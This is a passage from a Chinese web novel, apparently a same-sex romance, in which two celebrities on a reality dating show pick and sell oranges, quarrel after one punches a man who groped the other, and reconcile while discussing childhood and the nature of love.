“不是吧?潘导你走错片场了?”江沼瞪大眼睛,刚刚拿过来摆拍的遮阳帽都气掉了,“我们确定我们恋综不是农业大丰收吗?” 【哈哈哈哈哈救命,真的笑死了。】 【节目组让摘橘子,好笑程度10%,他们以为是要野餐,好笑程度100%】 【第一次见到恋综不是在别墅里西装革履而是要干农活的,别笑死我】 【不是吧不是吧,节目组你不会玩真的吧,那我真是太开心了!】 “当然,这些并不是白做的。” “你们这两天的伙食费和住宿费都在今天的采摘和售卖里了。” 潘叙道:“宋老师说了,贫贱夫妻百事哀,金钱是检验一对恋人感情的最好方式,所以,今天主题的是‘生活’。” “四对情侣的必须由你们自己的劳动取得,不允许使用自己带的钱和求助他人。” “做任务的花费需要从今天的劳动中支出。” 这个任务花费让众人毛骨悚然,直觉节目组不安好心,江沼和初禾火速站得离对方远了点。 “公平起见,零食饮料是一律不准带的哦。” “小何这袋零食我就先带走了,还有——” “陆老师。” 潘叙望了眼陆屿洲这从头精致到脚的西装三件套和噌亮的皮鞋,指指旁边节目组刚刚带来的黑色带红绿碎花的长款防晒衣和老北京布鞋—— “方便起见,您还是换个衣服吧?” “不用。” 陆屿洲飞快地移开视线,仿佛是再多看一秒都能侮辱自己。 【哈哈哈哈哈哈陆屿洲:不忍直视】 【我们超模什么时候受过这种委屈哈哈哈你以为这是米兰时装周吗?】 【陆屿洲:这辈子没穿过丑衣服!】 【陆屿洲:这辈子没穿过丑衣服!】 【可是他这身西装等会儿怎么干活啊?】 【就是,陆大超模能干这个吗?树上指不定有什么蛇虫鼠蚁呢,他不是有洁癖?】 “好吧,”潘叙倒也没劝他,“那我们就准备开始啦!下午三点之前,这片山坡是需要全部采摘完成去往集市售卖。” “对了,还需要一个人跟我们拍一下正式播出时的串场广告,几位身上谁没有果汁竞品吧,过来帮个忙?” 拍广告这件事可长可短,要是拍上一整天,那岂不是就不用干活了。 江沼和初禾刚要抢着举手,便听到季沨轻飘飘地开口:“陆老师做模特的比较上镜,不然就他吧?” 这种时候开口居然还不是为自己,众人齐齐望向了他。 【啊啊啊啊啊季沨居然主动提陆屿洲,是因为洲洲有洁癖所以不想让他干活吗,妈呀不愧是年上好宠好宠!】 【???CP脑不要太过分好不好,分明是季沨不想跟陆屿洲有太多互动想避嫌吧,没听人家开头说是朋友吗?】 【就是,季沨之前的通稿都发成什么样了,满大街地立风流人设,撩个人只是人家的基操吧,你们不会真以为他对陆屿洲有什么特殊的吧?】 虽然很想自己去,但是季沨已经这么说,其他人也不可能因为这件事抢起来,只能附和点点头。 可唯一逃脱了干活的获利者陆屿洲看起来并不高兴,眼眸沉沉地盯着季沨跟人说笑的样子。 “陆老师?陆老师?” 直到工作人员提醒,他才终于回过神来。 广告之前还要先拍两张概念图,对于陆屿洲这种顶级模特来说,这件事情几乎是天赋异禀。 他斜斜往树下一倚,抬手解开两个纽扣,脖颈上分明的青色血管充满张力,琥珀色的眼睛从碧色的树叶间透出,在一片金色的海洋里神色冷峻,如同偶然向世间投来一瞥的漠然神明。 【卧槽老公老公老公老公!!!!】 【太帅了吧啊啊啊啊啊让我想起之前纽约大秀了呜呜呜呜!】 【陆屿洲你什么时候再去台上卖弄一次风骚给我看啊好帅好帅好帅妈呀!】 “妈呀好帅!” 仿佛弹幕闯入了画外音,周围传来一声分贝超高的女声尖叫,以至于众人不得不齐齐转头寻找声音来源。 何皎皎双手捧脸做花痴状,看着季沨像是投篮一般将橘子扔进他的框里:“好了,还有哪个够不到?” “这个,这个,”何皎皎赶紧指了指头顶的树梢,“这个太高了!” “好。” 季沨一点头,一只手扶上树干,一个起跳便跃上了树,双脚一踩往上一翻,整个人便坐在了树枝上,和陆屿洲的冷峻不同,他的脸上是漂亮轻佻的笑,白衬衫被风鼓起,两条长腿幽幽晃荡,抬手将那颗金黄灿烂的橘子一摘,准确无误地投进了篮子里:“呐,现在摘到了。” 【卧槽好帅好美啊啊啊啊我老婆真是绝了!】 【谁懂这一幕的含金量啊,我疯狂截图疯狂舔舔舔,季沨身上偶然的少年感真是要命啊啊啊啊】 【我现在理解那些买Butland专辑的人,我是颜狗我摊牌了哥哥我要当你的狗汪汪汪汪汪汪!】 “师兄你也太帅了吧!”何皎皎拿着拍立得疯狂按下快门,“动作这么流畅,上学的时候是不是没少翻墙啊?” “哈哈,确实。” “那你肯定是学校的风云人物,是不是有很多人追你?” “嗯……”季沨想了想,“好像是不少。” “真幸福啊,我跟师兄怎么不是一届呢,好像知道师兄大学的时候是什么样!” 陆屿洲看着季沨微微垂下眼睛。 看上去只是在思索,可唯有陆屿洲看得出来,那是和车上一模一样的——三分不舍三分怀念和四分淡淡的忧伤的表情。 而且,季沨垂下的视线还恰好落在手腕。 半晌,季沨抬起头来:“挺好的,遇到了……很有意思的人。” 陆屿洲脸色瞬间阴沉下来,手中的树枝咔咔作响。 第36章 第三十六章 “季沨!” 有人替陆屿洲打断了追思, 江沼不知道从来拎来一根棍子,上面还绑着一只矿泉水瓶子,看样子像是刚刚从地里插秧回来, 来势汹汹道:“你不好好干活追忆往昔给谁看呢?” “你大学的时候不是都进公司训练了你去过几天学校啊?” 季沨不笑了,徒手掰下另一颗橘子, 擦着江沼的脸扔进篮子:“是吗,可我怎么记得我还拿了两年的国奖, 而有些人却因为要补考专程化了个病号妆找老师卖弄结果被一盆水泼出来了呢?” “还有, 你现在这是什么装束, 打算在林子里演唱‘你挑着担’?” 江沼将棍子往肩上一扛:“无知!” “这可是我特制的秘密武器,就你那种耍帅上树的做法, 我们怕不是得摘到明年去!” 江沼说着, 拿起棍子在树枝上疯狂敲动, 已经熟透了的橘子簌簌而落,江沼像个采蘑菇的像素小人一样到处乱窜,捧着框子在下面接。 季沨从树上跳下来,匪夷所思地看着他:“江沼, 我发现我对你似乎有一些偏见。” 对面的陆屿洲眼睛一下子直了。 这也是季沨对他说过的话! “怎么了, ”江沼满意地抱着自己接下来的一筐满满当当的橘子,“是今天才发现我也是如此的英明神武?” “那倒没有。” 季沨说:“只是我之前以为你是个十指不沾阳春水的偶像,没想到还会……”季沨上下扫了他一眼, “表演猴戏。” 连话术都一模一样! “陆老师?陆老师!?” 摄像师眼睁睁看着陆屿洲听完这话,脸色阴沉, 头也不回地朝着那边走去。 好家伙, 这难道不是在骂他? 季沨你现在骂人可真高级啊! “你又好到哪里去!”江沼绞尽脑汁地试图回应, 可是下一句话还没说出来,一道身影便如同墙壁般直直地搁在他和季沨之前, 对江沼道,“你要不要去拍广告?” “什么?真的吗?我去吗?” “嗯,”陆屿洲点点头,“现在去。” “好耶!” 江沼迅速将手中的框子一扔往山下跑去,模样像极了刚被压了五百年的猴子。 解决完一个,陆屿洲这才转过头,望向何皎皎:“你还有什么需要吗?” “啊,”何皎皎挠挠头,“我就是想说上面的我够不到。” 然而一抬头,树梢上的橘子比比皆是。 “好,”陆屿洲再次点头,“那我来吧。” “你来?” 季沨终于发话了,视线从他出门之前特意对着镜子整上半个的发型和从头到脚无一不精致的西装三件套和各路配饰上扫了一眼:“你确定?” “嗯。” 陆屿洲看起来心意已决,说干就干。 只是季沨上树江沼拿棍子,他……找了架梯子。 虽然节目里偶像不少,但真要说偶像包袱重的应该是陆屿洲才对,他既不会像季沨一样轻佻地跳上树,也不会像江沼一样猴子般窜来窜去。 陆大超模是即便是在这种时候也依然要保持优雅的,将袖口挽起,松松领带,昂贵的皮鞋一步步踏上梯子,仿佛不是去摘什么橘子,而是某个红毯前铺上的台阶。 他膝盖微弯,西装裤勾勒出蓬勃的肌肉线条,一条腿踩上一条腿踩下,陆屿洲并没有扶梯子,一只手插进口袋,另一只微微抬起,比起江沼他更像是个来拍广告的,手指往树枝上微微一搭,随后—— 按在了一条柔软的、修长的、碧绿的、毛毛虫上。!!!!!!!!!!!!! 整个梯子都晃了一下。 据弹幕回报,陆屿洲瞳孔炸裂,那一刻的表情,活像是被那条虫子给强/暴了一样。 在他用一条腿踩上一条腿踩下一只手插进口袋的超模造型从梯子上直直地倒下来之前,季沨迅速扶了一把梯子:“需要帮忙吗?” 清澈的声音好像是春日的一场雨,陆屿洲僵硬的手指微微颤动了下:“不用了。” “真的不用?” “嗯。” “这么大牺牲啊陆老师,不好好拍广告突然跑到这里来,怎么了?” 毛毛虫耸动着走了,陆屿洲动了动手指,之前听到的话卷土重来:“没什么。” “那怎么看起来不太高兴?” 陆屿洲嘴唇轻抿,声音闷闷:“我没有。” 成年人看破不说破应该是共识,但是季沨偏不,他微微仰头,嗓音带笑:“陆老师吃醋了呀。” 陆屿洲讶异地转过头。 【啊啊啊啊啊啊啊啊季沨真的好撩好撩太要命了!】 【妈呀我连同人文都写出不来这么样的剧情,季沨你好会啊。】 “别生气了,”季沨轻声道,“我跟江沼只是朋友而已,你不是知道嘛,我这人就这样,跟朋友都是这么讲话的,他又没什么特别的。” “陆老师要是不高兴,我以后不说了好不好?” 【妈呀啊啊啊啊啊啊季沨哄人的这个嗓音,我死了我死了我死了!!!】 【啊啊啊啊啊我老婆好苏啊啊啊啊啊!】 【草草草!年上这位真的也太会哄人了,看得lyz被吓到,先是循循善诱转移注意力,趁人家心神不定的时候一记猛杀,不要太拿捏啊啊啊啊就算是演的也请继续演给我看好吗好的!】 可是被哄的那位似乎并没有配合演出的意思,陆屿洲盯着季沨轻佻的笑容,几乎是咬牙切齿道:“跟,朋友,都,是这样?” “对啊。” “没什么特别的?” “嗯。” 季沨眼眸弯弯,问旁边的何皎皎:“皎皎,我在公司是不是跟人讲话都这样?” “那当然,”何皎皎为了帮季沨证明清白,“师兄他就这个性格,本来跟公司其他前辈说话的时候也是这一套啊!” 敢情还是量产批发的。 陆屿洲的脸色看起来更加阴沉了,胸膛中滚动的火焰似乎可以连那条毛毛虫一起烧死,他现在一点也不怕了。 抬手将树梢的橘子摘下来,几乎是恶狠狠地扔进下面的筐子里。 “轻点陆老师。” 季沨说:“都要破了。” 这样熟悉的话出现在青天白日里实在太过诡异,陆屿洲一低头便看到季沨敞开的领口里露出的一点雪白胸膛。 季沨似乎丝毫没有意识到自己刚刚说了什么,难得正色道:“山坡背面可还有一片呢,你真的不用我帮忙?” “不用。” “好吧,”季沨一摊手,无可无不可,“那我走了?” 陆屿洲凝视着季沨漂亮脸蛋上总是风流淡然的笑。 这人似乎总是这样。 随意地撩动人的心弦,可是等你真正陷进去想要靠近的时候却又轻飘飘地抽离。 两个月前他们还是在床上上下交叠的关系。 两天前他们还是在床上左右抱着的关系。 但是现在,季沨跟他说,他跟所有朋友都是这样的。 那句说了特殊的话其实也一点也不特殊,陆屿洲不过是普通朋友,并没有什么特别的。 陆屿洲握在梯子上的手骨节泛白:“嗯。” “那好吧。” 季沨没什么留恋地转过头:“皎皎,你刚刚说在哪看见麻雀来着?” 不过过了一段时间,季沨突然又回来了,不知道在哪捉的麻雀,额头上带着点薄汗,那只手里却握了一朵开得正艳的芙蓉花,衬得笑容也灿烂:“喏,给你。” 给季沨租来的别墅插了那么多天的花,这还是陆屿洲第一次收到回礼,他下意识想接,手伸到一半才看清自己脏兮兮的掌心,于是又收了回来:“不用了。” “哦。” 季沨一点头,倒也没一定要给,抬手将那朵花插到领口。 不过他倒也没走,而是抬眸盯着陆屿洲的动作。 摘橘子当然比拍广告要累很多,最大的不同是树上不只有饱满灿烂的果子,还有枯枝烂叶,爬行过的虫子,甚至鸟类留下的不明物体。 摘了这么半天,陆屿洲精心修饰的发型已经凌乱,衬衫和西装也皱巴巴的,昂贵的皮鞋上满是灰尘,那双适合捧花或者戴戒指的手变得脏兮兮。 陆屿洲没在季沨面前展示过这样的一面。 他找到了季沨喜欢的唱片,点燃了香薰,带了合适的零食和茶包,甚至已经想好了等会儿要做什么饭…… 除了最后一天早上,他们在第一期的配合都很默契,现在关系更近一步,这一季本该更好才对。 可是今天的一切都在失控。 节目组的安排在失控,态度在失控,言语在失控,行为也在失控。 他不想让季沨看见这样的自己的。 陆屿洲将摘下的橘子扔进框里,别过头不去看他,却听到季沨说:“三点了,你还没有做完吗?” 陆屿洲呼吸一滞,听到季沨说:“但是我们要走了。” “潘导说四点开晚市,我们得提前找好摊位。” 或许是这才是“生活”的本质,两个人的步调不总是一致的,默契也是。 “那你要走吗?”陆屿洲说,“对不起。” 季沨皱起了眉:“为什么对不起?” “你先去吧。”陆屿洲没有解释,声音低得要命,只是费力地继续将橘子往下扔,“我会尽快忙完去找你们。” “你自己可以?” “嗯。” “真的不要我帮忙。” “不用,你去找他们吧。” 都是朋友的他们,可以随意开玩笑的他们,看起来好像更快乐的他们。 季沨点头:“那我走了?” 又一个橘子砸下来,陆屿洲的手背被枝条划出一道红痕。 “好。” 有脚步踩在枯叶上的窸窣声,季沨好像是离开了。 手下的树枝发出咔吱的断裂声,掌心被磨得生疼,陆屿洲知道季沨没有必要等着自己。 就像他也知道季沨今天其实并没有做错什么,跟朋友说笑、调侃,谈论往事,这些都是很正常的事情。 即便……即便五年前那块表真是有个那样的主人,可那跟他又有什么关系? 可那跟陆屿洲又有什么关系? 跟和季沨上过床的陆屿洲有什么关系,跟给季沨做过饭的陆屿洲有什么关系?跟给季沨买过花的陆屿洲有什么关系? 季沨和陆屿洲又是什么关系? 树枝咔嚓一声折断,陆屿洲深深地闭了下眼睛,却蓦然听到一声熟悉的:“陆屿洲。” 陆屿洲唰地转身,发现季沨并没有离开。 刚刚的枯叶声,是他踏了一步来到他的身边。 只需要一抬头便可以看到陆屿洲眼底刚要弥散的红,季沨注视着他的眼睛:“你在难过吗?” “我没……” “为什么难过?” 弹幕说得对,季沨确实很擅长把控情绪,不过他的最后一击不是刚刚,而是现在—— 没有等到陆屿洲否认,季沨就断定了他的心理:“刚刚为什么说对不起?” “你对不起我什么吗?” 季沨步步紧逼:“觉得因为自己耽误了进度,觉得揽下了工作却没有做好,还是——” 还是觉得在不该在意的地方在意,在不该赌气的时候赌气,在不该失控的时候没了理智。以及—— “觉得委屈?” 委屈季沨在第一期的时候不同意他的请求,委屈季沨在第二期的时候若即若离,委屈他明明得到了特权却又被收回,像条被人摆布的小狗。 但是这些陆屿洲怎么会告诉季沨呢? 他抿紧嘴唇不说话,山风吹拂,无声对视。 季沨低头看了眼腕表:“我还有五分钟就要去跟他们汇合。” “所以你还有五分钟,如果还想要我帮忙——” “陆屿洲。”季沨又叫了一声他的名字。 明明站在梯子上的是陆屿洲,可是季沨看起来却是更加强势和发号施令的那一个,手指插进口袋,抬眸道:“自己下来,说清楚。” 第37章 第三十七章 陆屿洲定定地盯着季沨的漂亮面容。 指针一分一秒地拨动, 天色湛蓝,有风吹起额前的发。 半晌,陆屿洲终于后退了一步。 季沨朝他伸出了手, 白皙修长的手指摊开,是一个迎接的姿势。 陆屿洲却没动, 垂眸看了看自己的指尖,轻声道:“脏。” 这个字配上他那红色未褪的眼眸, 好像是在外闯了祸怯生生不敢靠近主人的小狗。 季沨笑了, 和刚才那种总是轻佻的笑不同, 这个笑看起来热烈漂亮:“没关系,我又没有洁癖。” 他往前走了一步, 手指几乎碰到陆屿洲的指尖, 亲昵地触碰仿佛低哄:“过来。” 陆屿洲终于下了台阶。 他的手一碰到季沨, 两个人立刻都变得同样的脏污,陆屿洲抽了张湿巾,先替季沨擦了指尖,听到他问:“所以, 还有哪里没做完?” “不用你帮忙。”陆屿洲道。 季沨说的就是他想的那样, 是他自己说要把这些做完,既然是他答应的工作,没有必要让季沨跟着自己一起承担。 况且, 是他把季沨骗来这个节目,陆屿洲的本意是带着季沨参加恋综, 不是让人辛苦干活的。 “车上有茶包, 杯子在右手边的储物格里。” 陆屿洲边说边帮季沨擦着手指, 他擦得很仔细,连指缝也一并细细清理, 或许也是因为被捏住的手很软,手指又过于好看。 “你跟他们一起回去吧。”陆屿洲道,“我这里很快就忙完了,等会儿自己去找你们。” 季沨皱眉看了他一眼。 他很清楚陆屿洲在想什么,正因如此,才觉得自己刚刚的铺垫像是枉费:“你不需要我吗?” “也是,朋友之间是没必要相互承担的,只有情侣才会,”季沨又带上了那种满不在乎的笑,“但是我们又不是真的情侣,只是节目组需要,对吧?” 没等陆屿洲回答,他就将手抽出后退一步:“陆屿洲,你应该知道我不会询问你第三次。” “不用就算啦,正好,这边太阳还挺大的。” 季沨说:“车子你自己开吧,我坐江沼他们的过去就行,反正都是朋友,也无所谓。” 他眼眸弯弯,好像是真的不在乎,被擦拭干净的手指重新插进口袋:“那我走了。” 枯叶的碎裂声重新响起,脚步却是渐远了。 陆屿洲深吸口气,抬手拉住衬衫的衣袖:“季沨。” 他很喜欢用这招,在休息室里季沨第一次说结束的时候,在恋综的第一天晚上季沨说要去洗澡的时候,用他琥珀色的、可怜巴巴的眼睛,唤你的名字——“别走”“留下来”。 不过这一次,陆屿洲没说相似的话,而是道:“手我洗干净了。” “你刚刚的那朵芙蓉花……还能送我吗?” “不能了。” 季沨笑了下:“不是你自己说的吗,花放久了就不新鲜了。” 他说着,抬手将领口的那朵花扔到地上:“那就算了吧。” “陆老师加油,早点做完。” 季沨抬脚从那朵花上踩了过去。 花瓣深深地陷入尘埃,陆屿洲不断重复着摘取的动作,直到这片山坡走到尽头,也没有见到季沨在哪里找来的芙蓉花。 直到……他终于拎起梯子起身,准备去做剩下的最后一半的工作。 陆屿洲抬起头,才发现山坡的另一侧,树梢上的橘子已经被人摘得干干净净。 有人赶在他之前替他做完了这一切。 他终于明白季沨回来的时候额头的薄汗从何而来—— 因为紧靠着阳光的山坡上,正生长着一树璀璨热烈的木芙蓉。 * 山中的晚市不如城中的商业街那样繁华,不过胜在生活气。 卖鞋子的锅碗瓢盆的水果的蔬菜的算命的都挤在一条街上,所有的工具都只有一块布和一个纸制招牌。 为了分散竞争,四组人各自离得很远占了一个摊位。 但即便如此,还是能听到何皎皎大声道—— “江沼,你疯了吧,你为什么会想着在街边抱个吉他玩摇滚乐!你真的觉得这样很帅吗?” “我这叫招揽顾客的策略!策略你们懂吧!”江沼说完,又小声嘀咕,“上期陆屿洲不也这么装逼,你们怎么不说他。” “瓜娃子,”旁边买菜的大叔也骂他,“你唱的是个啥子东西嘛,糟心玩意儿,瞎闹腾,吵到我做生意啦!” 江沼这才悻悻地松开自己特意背来的吉他,放弃了在山窝窝里普及音乐的伟大梦想。 “那你们说要怎么卖,这里的人也不少,怎么不来我们这里呢?” 初禾避开视线朝他翻了个白眼:“不然……你学学季老师吧?” 对面的街上,季沨正在坐在一张折叠躺椅上,旁边放着零钱箱,手中摇着一把蒲扇,俨然一副打入当地老大爷内部的样子,找零和过秤姿态娴熟又老练,甚至能偶尔夹上几句方言话俏皮话: “嬢嬢你今天这身橙色系跟我们的橘子真是太配了,行,八斤八,你发我也发。” “这娃娃长得好标致哦,一共十二块九,来再送娃娃一个拿着吃。” “我晓得呢姨姨,放心都是刚摘的,我们这关系我肯定给你打折的呀。” 长得漂亮嘴又甜,季沨的摊位不一会儿就卖了不少。 节目组为了不干扰比赛,摄像们都隔得很远,山中讯息没那么发达,路过的人还以为季沨是假期来帮爸妈干活的学生,甚至还有说亲的。 “娃娃你今年多大?” “25?哎哟长得真显小啊,我有个妹妹家的女儿今年28,女大三抱金砖,你俩正合适。” “什么,你不喜欢女的?”不愧是西南地区,民风就是开放,大娘立刻换了个目标,“那我堂弟家那位也不错,大小伙子,今年刚大四,家里条件老好了!” 陆屿洲过来的时候,大娘已经热情地给季沨留下了联系方式,丝毫不顾节目组疯狂打着马赛克的后期,并笑眯眯道:“他学体育的,身材俊得嘞晓得不,你以后啊吃不了亏!” 为了给后期省省力气,季沨笑笑,在大娘离开后火速将那张纸条折了起来放在一旁。 摊位前突然笼罩一片阴影,来人看起来得有三十岁左右,穿了一身皮衣,脖子上的金链子看起来瞩目,往季沨摊位前一蹲:“弟弟,这个橘子怎么卖啊?” 季沨挑眉看了他一眼:“三块八。” “好啊,那你给我称三斤。” “不是用这只手。” 季沨刚要伸手拿袋子,那人的手就抚上了他的手背,“用这只。” 他说着,手指在季沨的手背上勾了勾,还在试图沿着袖口往下捏 :“你刚刚说,喜欢男人啊弟弟?” 季沨狠狠地拧起了眉,那只手刚要动作,却有一人赶在他之前,拎着皮衣男的领子拽起来,一脚踹上那人的胸膛:“Merde!” 这是季沨第一次听到陆屿洲骂人。 庆幸的是他受母亲的影响说的是法语,眼看着陆屿洲还要上前,季沨的第一反应是拉起旁边的布,一把扔到摄像机上盖住画面,随后立刻伸手拉人:“陆屿洲!住手!” 这条路上那么多直播的摄像和路人,要是拍到陆屿洲在节目上当众打人,明天热搜非要屠榜不可。 谁知道这样的行为不知为何反而激怒了陆屿洲,他避开季沨,一把拎着皮衣男的领子,几乎将人重重地扔在车上,金灿灿的橘子滚了一地,陆屿洲正对着那个唯一没有关闭的摄像机,却也看也不看,扬起拳头狠狠地砸在了他的侧脸上:“傻逼!” 这次说的是中文了。 “陆屿洲!你疯了!” 季沨简直想照着他的脑袋也来一拳,抓着陆屿洲的手臂试图往后扳,指腹在皮肉留下红痕,可陆屿洲一动不动,一只手掐着他的那人的脖子,眸色阴沉好像是发狠的野兽:“道歉!” 皮衣男被他这个样子吓了个半死,哆哆嗦嗦道:“对……对不起。” 陆屿洲指骨收紧,冷声道:“不是对我。” “我错了,”皮衣男立刻转向季沨,声音打颤,“我,我刚刚鬼迷心窍,我精虫上脑,我……对不起……对不起……对不起。” 陆屿洲这才松开手:“滚。” 声音不大,却让那人差点绊了一个踉跄,没人见过向来对什么事都反应淡淡的陆屿洲突然发飙的样子,连一旁站在的潘叙都心有余悸。 还好刚刚及时让摄像切断了直播,这要是播出去,陆屿洲他们家得把节目组封杀了吧。 陆屿洲的打架样子实在太过疯狂,像一头随时准备暴起咬人的凶兽,周围的人没一个人敢上前。 全场唯一不害怕的似乎只有季沨,不仅如此,他看起来比陆屿洲还要生气。 那人刚一走,便揪着陆屿洲的领子:“给我过来!” 陆屿洲被他甩在墙后,没有摄像和直播,季沨面沉如水,生平第一次在陆屿洲面前发火:“陆屿洲,你疯了吗?” “你有脾气在节目里撒什么,你几岁了?知不知道你动手那一幕拍下来,网上会怎么评论,你以为你自己咖位大到能够无所欲为了吗?你知不知道……” “我知道。” 这突然的打断让季沨更是恼火:“你知道你还敢当着镜头的面!” “当着镜头的面又怎么了?” 陆屿洲的嗓音里还带着一点刚刚的余怒,可是言辞却堪称理智:“就算是被拍下来又能怎么样!我就是看不惯他碰你,我就是想打他,我没有冲动,就算是我今天上热搜我也还是要打他。” “我的行为我考虑清楚了,”陆屿洲琥珀色的眼睛紧紧地盯着季沨,“那么你呢?” 季沨的心头一跳。 他早就知道陆屿洲今天必然要问出这么一句,只是没想到不是在橘林,而是现在—— “你刚刚又为什么要帮我挡住摄像?” “为什么我上个热搜你会那么担心?为什么带我回家?为什么偏心我?为什么唯独让我去拍广告?” “还有……” 陆屿洲手指收紧,无法形容自己看到那树芙蓉花时的心情:“为什么要偷偷帮我做完?” 季沨注视着他微微发红的眸子,事实上他踏上这期的恋综时就已经为这个问题想好了答案,甚至包括这番话之后剩下的两期的剧本,指腹捻了捻:“我……” “因为……我们是朋友吗?” 没等季沨回答,头顶便传来陆屿洲沙哑的嗓音。 他受了一整天的委屈,发了那么大的火,铺垫了那么久,好像并不是为了逼问季沨刚刚那个问题的答案,而是继续道—— “你一直都是这样,季沨。” “从一开始就是这样。” “阮嘉被人欺负了你要管,初禾没有伞你要管,他们没有人做饭你要管,何皎皎摘个果子你也要管。” “你说得对,我就是难过我就是不高兴我就是生气。”陆屿洲神色很冷,那张过于锋利的脸任谁看起来都像是要吵架,然而出口的却是,“可是你没吃早餐不说,膝盖受伤了也不说,帮我摘完了橘子也不说。” “凭什么呢?” “因为你会,因为你是队长,因为你是朋友,你就要承担这一切吗?” 陆屿洲一个一个地数着,一桩桩一件件,那些从第一天和季沨分开就开始挤压的情绪终于在此刻点燃,陆屿洲朝着季沨迈了一步,几乎将人挤在狭小的巷子里,肩头耸动,生平第一次也是唯一一次对季沨吼,开口的却是—— “那你呢?” “季沨,那你自己呢?” 第38章 第三十八章 季沨怔住了。 他想过很多陆屿洲发怒和质问的理由。 比如为什么突然结束关系?为什么对他若离若即?为什么撩拨完之后却又收回特权?为什么自己不遵守朋友的界限却又一直苛责他? 可是最后, 陆屿洲如此气愤如此兴师动众如此言之凿凿,唯一说出的一句重话居然是—— “那你呢?” 肩头被捏得很紧,季沨的心脏都好似被撞了一下。 他想了那么多, 甚至已经想好了如何刻意引导陆屿洲挑破这层关系,将打破罪责放到一个人身上, 诱使他一步一步深入靠近。 可是陆屿洲的问题不在他准备好的任何一个答案里。 优等生胸有成竹地上了考场,才发现今天的考试换了科目。 季沨自己……好似从来没有思考过这个问题。 嘴唇动了动却没有声音, 陆屿洲看见他怔松的神情, 以为是自己刚刚将季沨, 捏在肩头的手瞬间松了,试图解释:“我刚刚……不是冲你。” 季沨忽然轻轻地笑了下。 “陆屿洲, ”他抬起眼睛叫他的名字, 说, “过来一点。” 陆屿洲不明所以。 季沨招招手:“过来,你头发上有东西。”!!!!!!! 要是刚刚沾着枯枝烂叶说完这番话,陆屿洲简直恨不得把自己埋在山上。 他微微一俯身,季沨伸出的手便扫过他的耳垂, 手指冰凉, 拂过发丝的还能闻到一点香气,那是一个摘东西的动作。 陆屿洲有点担心季沨真的拿出什么不明物体,微微偏了下头。 “陆屿洲。” 他听到季沨含着笑的声音唤他。 指尖擦过颈侧, 季沨手腕一转,一朵木芙蓉盛放他的手心, 没人看到这人什么时候带的花, 这种小魔术对于调酒师来说是常用的花样, 可是配上他那张脸和温柔的嗓音却足够要命:“给你。” “之前的不新鲜了,送你一朵新的。” “冲我也没关系。” “别生气了, ”季沨笑着,用和陆屿洲当初一模一样的语气道:“哄哄你,嗯?” 陆屿洲下意识地就要伸手。 伸到一半又退了一点,似乎不想让人觉得他这么容易被哄好。 但是想起上一朵因为要的慢了点的下场,那只手又立刻接得飞快。 陆屿洲矜持地把花握在掌心,木芙蓉带着淡淡的草木香气,想了想,还是又道:“但是我刚刚真的不是冲你,我也没有生……” “我知道了。” “那刚刚不能算是吵架。” “好。” 吵架也是两个人有来有回才能吵吧,一个人说着说着快把自己说哭了也能叫吵架吗? 季沨抬眸看了眼陆屿洲:“但是无论如何,你以后你还是要注意点,不要随便跟人动手。” “我没有随便跟人动手,”陆屿洲辩解道,又小声嘀咕,“是他欺负你。” 季沨叹了口气:“又不是没有其他的处理方式。” “而且……你应该知道,这种事在这个圈子里很常见。” 陆屿洲手指一紧,猛地想起当初季沨和他说过的——“不跟资方上床”。 他知道季沨或许经历过什么,陆屿洲对季沨手上那块表抓心挠肝,对这个却只有一句:“那又怎么样,我怎么可能看着别人欺负你。” “但是这圈子这么大,总归有陆大少爷也惹不起的人吧?” 陆屿洲满不在乎:“那我就找我爸。” 你爸不是在猴面包树里吗? 听起来好像是幼儿园小孩子赌气,季沨说:“那你爸爸也惹不起呢?” “找我爷爷。” “你爷爷?” “找他烧香,让他出来帮我带走他。” 陆屿洲这张冷酷的帅脸讲这种地狱笑话好像有这种格外的幽默,季沨忍不住笑了起来。 他一笑,陆屿洲便也弯起了眼睛。 嘴角的弧度忍不住跟随着季沨放大,陆屿洲极少这样笑,但是季沨似乎总有莫名的感染力,琥珀色的眼睛像湖底晃动的桥,季沨朝他靠近了一步:“陆老师,有人说过你笑起来很好看吗?” 陆屿洲脸颊立刻有些微微发红,努力别过脸去。 季沨轻笑了下,后退一步靠在墙上,用闲聊的语气:“其实你刚刚说得挺对的,我确实是下意识会做这些事。” 他这才开始聊起刚刚令陆屿洲生气的问题。 先安抚情绪再解释原因,季沨想要哄一个人的时候总是这样妥帖而舒服的,跟这样的人谈恋爱应该是一件很幸福的事。 虽然陆屿洲现在还不知道自己到底享受了什么。 “我妈妈后来是很爱我,不过我应该没有告诉过你,”季沨转向他,扯扯嘴角,“她曾经试图丢掉过我,不止一次。” 陆屿洲唰得转过眼睛。 “我爸跟我妈是未婚先孕,生下我之后他就跑了,那个年代一个单身女孩带着孩子是很艰难的,她完全可以扔了我再找一个好的。” “但也许是从小就比较敏锐,我在她第一次带我去游乐场的时候就感受到了,我拽着她的手,拿了棉花糖跟她说妈妈先吃,说我最喜欢妈妈要跟她一辈子不分开。” 下意识地,让自己成为群体中有用的,可以提供实际或者情绪的价值那个人,以换取自己不被群体疏远和抛弃。 这种行为几乎已经成为一种习惯,那是幼年时一次一次讨好才能烙下的痕迹。 虽然最后妈妈爱他,或许是因为他乖巧孝顺,或者最后朋友喜欢他,是因为他风趣爽快,但是那又怎么样呢? 反正季沨有这样的能力——乖巧的儿子、可靠的队长、仗义的朋友、大方的上司,或者是……漂亮又妥帖的恋人。 反正他这样的能力,所以原因是什么,又怎么样呢? 陆屿洲对待其他的事情一向淡淡,可此刻似乎看出了季沨眼中未尽的话。 他的心底泛起密密麻麻的心疼,几乎是脱口而出:“但是我不是。” 不是什么呢? 不是因为觉得季沨漂亮才跟他上/床,不是因为觉得他床技好才追到恋综,不是因为他带自己回家才给他做饭。 那还能是因为什么呢? 除去这些,还能是因为什么呢? 陆屿洲怔住了。 “陆屿洲。” 季沨望向他,眼眸深深,夕阳映着他的脸颊:“你相信这个世界上,一个人会完全爱另一个人的全部吗?” “相信。” 陆屿洲回答得几乎不假思索,季沨笑了:“幼稚。” “如果爱不是全部,”陆屿洲微微皱起眉,对他的说法并不赞同,“如果爱一个人只能爱他的光鲜亮丽,只能看到他对自己有用的一面,而不能去体会他的痛苦担忧的话——” “那怎么能够叫做爱呢?” 陆屿洲言之凿凿,以至于季沨盯着他的眼睛:“那爱情呢?” 刚刚停住的疑问猝不及防撞进心底,陆屿洲偏了下视线:“那当然……也是一样的。” “哦,”季沨弯起眼睛,“可是我之前还听到过一句话。” “什么?” “爱是一个时期为了掩饰性/欲而想象出来的东西。” 季沨缓缓靠近:“陆老师,你觉得这两句哪个更有道理一点呢?” 